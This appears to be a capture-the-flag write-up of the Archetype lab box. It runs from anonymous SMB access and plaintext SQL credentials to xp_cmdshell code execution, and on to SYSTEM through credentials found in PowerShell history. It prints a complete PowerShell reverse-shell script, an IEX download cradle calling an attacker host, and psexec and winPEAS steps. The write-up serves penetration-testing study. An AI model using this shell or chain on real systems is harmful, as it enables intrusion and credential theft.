TL;DR

Archetype is a Windows box with SMB and MSSQL. Anonymous SMB access to a backups share exposes prod.dtsConfig — an SSIS configuration file with SQL Server SA credentials in plaintext. SA access enables xp_cmdshell, which executes PowerShell commands as sql_svc. winPEAS finds a PowerShell history file containing the administrator password. psexec gives SYSTEM.

Recon

1. Port scan

$ nmap -Pn -sV -sC -p- --min-rate 1000 10.129.x.x

135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp  open  microsoft-ds  Windows Server 2019 Standard 17763
1433/tcp open  ms-sql-s      Microsoft SQL Server 2017

Two interesting services: SMB (potential for anonymous access) and MSSQL (potential for SA authentication).

2. SMB anonymous enumeration

$ smbclient -N -L //10.129.x.x
Sharename  Type  Comment
---------  ----  -------
ADMIN$     Disk  Remote Admin
backups    Disk
C$         Disk  Default share
IPC$       IPC   Remote IPC

backups is accessible anonymously:

$ smbclient -N //10.129.x.x/backups
smb: \> ls
  prod.dtsConfig   AR    609

smb: \> get prod.dtsConfig

3. Credential extraction from SSIS config

<DTSConfiguration>
  <DTSConfigurationHeading>
    <DTSConfigurationFileInfo ... />
  </DTSConfigurationHeading>
  <Configuration ConfiguredType="Property" Path="\Package.Connections[Destination].Properties[ConnectionString]" ValueType="String">
    <ConfiguredValue>Data Source=.;Password=M3g4c0rp321;User ID=ARCHETYPE\sql_svc;Initial Catalog=Catalog;Provider=SQLNCLI10.1;Persist Security Info=True;Auto Translate=False;</ConfiguredValue>
  </Configuration>
</DTSConfiguration>

Credentials: sql_svc:M3g4c0rp321

MSSQL RCE

4. Connect as SA

$ python3 /opt/impacket/examples/mssqlclient.py \
    ARCHETYPE/sql_svc@10.129.x.x -windows-auth
Password: M3g4c0rp321
SQL> SELECT system_user;
ARCHETYPE\sql_svc

5. Enable xp_cmdshell

SQL> EXEC sp_configure 'show advanced options', 1;
SQL> RECONFIGURE;
SQL> EXEC sp_configure 'xp_cmdshell', 1;
SQL> RECONFIGURE;
SQL> EXEC xp_cmdshell 'whoami';
archetype\sql_svc

6. Reverse shell via PowerShell download cradle

Set up an HTTP server hosting a PowerShell reverse shell (shell.ps1):

# shell.ps1
$client = New-Object System.Net.Sockets.TCPClient('10.10.14.x',4444)
$stream = $client.GetStream()
[byte[]]$bytes = 0..65535|%{0}
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
    $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i)
    $sendback = (iex $data 2>&1 | Out-String)
    $sendback2 = $sendback + 'PS ' + (pwd).Path + '> '
    $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2)
    $stream.Write($sendbyte,0,$sendbyte.Length)
    $stream.Flush()
}
$client.Close()
SQL> EXEC xp_cmdshell 'powershell "IEX(New-Object Net.WebClient).downloadString(''http://10.10.14.x/shell.ps1'')"';
$ nc -lvnp 4444
connect to [10.10.14.x] from [10.129.x.x]
PS C:\Windows\system32> whoami
archetype\sql_svc
PS C:\Users\sql_svc\Desktop> type user.txt
[user flag]

Privilege Escalation

7. winPEAS execution

Transfer and run winPEAS:

PS> Invoke-WebRequest -Uri "http://10.10.14.x/winPEASx64.exe" -OutFile "C:\Users\sql_svc\winPEASx64.exe"
PS> .\winPEASx64.exe

winPEAS highlights:

[+] PowerShell Settings
    PowerShell v2 Version: 2.0
    PowerShell v5 Version: 5.1.17763.1

[!] ConsoleHost_history.txt file found:
    C:\Users\sql_svc\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt

8. PowerShell history — plaintext credentials

PS> type C:\Users\sql_svc\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
net.exe use T: \\Archetype\backups /user:administrator MEGACORP_4dm1n!!

Credentials: administrator:MEGACORP_4dm1n!!

9. psexec → SYSTEM

$ psexec.py administrator@10.129.x.x
Password: MEGACORP_4dm1n!!

C:\Windows\system32> whoami
nt authority\system

C:\Windows\system32> type C:\Users\Administrator\Desktop\root.txt
[root flag]

What’s actually broken

#VulnerabilitySeverity
1Anonymous SMB access to backups shareHigh
2SA credentials in plaintext SSIS configCritical
3xp_cmdshell enabled on production MSSQLCritical
4Administrator password in PowerShell historyHigh
5No PowerShell Constrained Language ModeMedium

Lessons learned

  • PowerShell history is a goldmine. ConsoleHost_history.txt records everything typed interactively in PowerShell — including net use commands with embedded passwords. Always check it during privesc. Location: %APPDATA%\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
  • SSIS .dtsConfig files always have credentials. They’re XML connection strings — strings + grep -i password reveals them immediately.
  • xp_cmdshell + SA = instant RCE. If you have SA access to MSSQL, enabling xp_cmdshell is a single EXEC sp_configure call. Never leave SA credentials in app configs.
  • SMB anonymous shares are rarely intentional. backups being publicly accessible was almost certainly a misconfiguration — but one that’s surprisingly common.

Decision archaeology

ApproachResultPivot
Enumerated SMB before attacking MSSQLAnonymous SMB is lower-friction than brute-forcing MSSQLFound creds without needing to guess
Used winPEAS for privesc enumerationComprehensive automated enumeration vs manual checkingFound PSReadLine history file quickly
Used psexec.py over SMB for admin shellWinRM not open, SMB with admin creds enables psexecGot SYSTEM cleanly
SMB → MSSQL credential flowRan nxc mssql 10.129.x.x -u sql_svc -p M3g4c0rp321 --shares first — Error: column smb_result not found — nxc mssql module doesn’t enumerate SMB shares; used wrong moduleSwitched to smbclient directly for share listing, then mssqlclient.py for SQL; separated tools by protocol

References